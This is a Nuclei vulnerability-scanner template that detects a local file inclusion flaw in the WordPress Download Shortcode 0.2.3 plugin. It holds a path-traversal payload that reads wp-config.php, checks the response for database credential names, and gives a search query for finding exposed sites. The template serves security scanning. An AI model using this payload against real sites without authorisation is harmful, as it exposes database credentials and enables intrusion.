nuclei-templates/http/vulnerabilities/wordpress/shortcode-lfi.yaml

38 lines
1.3 KiB
YAML
Raw Normal View History

2022-02-12 17:00:51 +00:00
id: shortcode-lfi
info:
name: WordPress Download Shortcode 0.2.3 - Local File Inclusion
2022-02-12 17:00:51 +00:00
author: dhiyaneshDK
severity: high
description: WordPress Download Shortcode 0.2.3 is prone to a local file inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. Prior versions may also be affected.
reference:
- https://packetstormsecurity.com/files/128024/WordPress-ShortCode-1.1-Local-File-Inclusion.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
2023-10-14 11:27:55 +00:00
metadata:
max-request: 1
google-query: inurl:wp/wp-content/force-download.php
tags: lfi,shortcode,wp,packetstorm,wordpress,wp-plugin
2022-02-12 17:00:51 +00:00
http:
2022-02-12 17:00:51 +00:00
- method: GET
path:
- '{{BaseURL}}/wp-content/force-download.php?file=../wp-config.php'
matchers-condition: and
matchers:
- type: word
2022-02-15 11:18:20 +00:00
part: body
2022-02-12 17:00:51 +00:00
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100b33ed53992d62096fe207a29a03bac58a3808e58d34ae3678139f7d1263b68940221009970896cc935fcb931efe291401a742328ad28d443b8356bd08932e0a96025f9:922c64590222798bb761d5b6d8e72950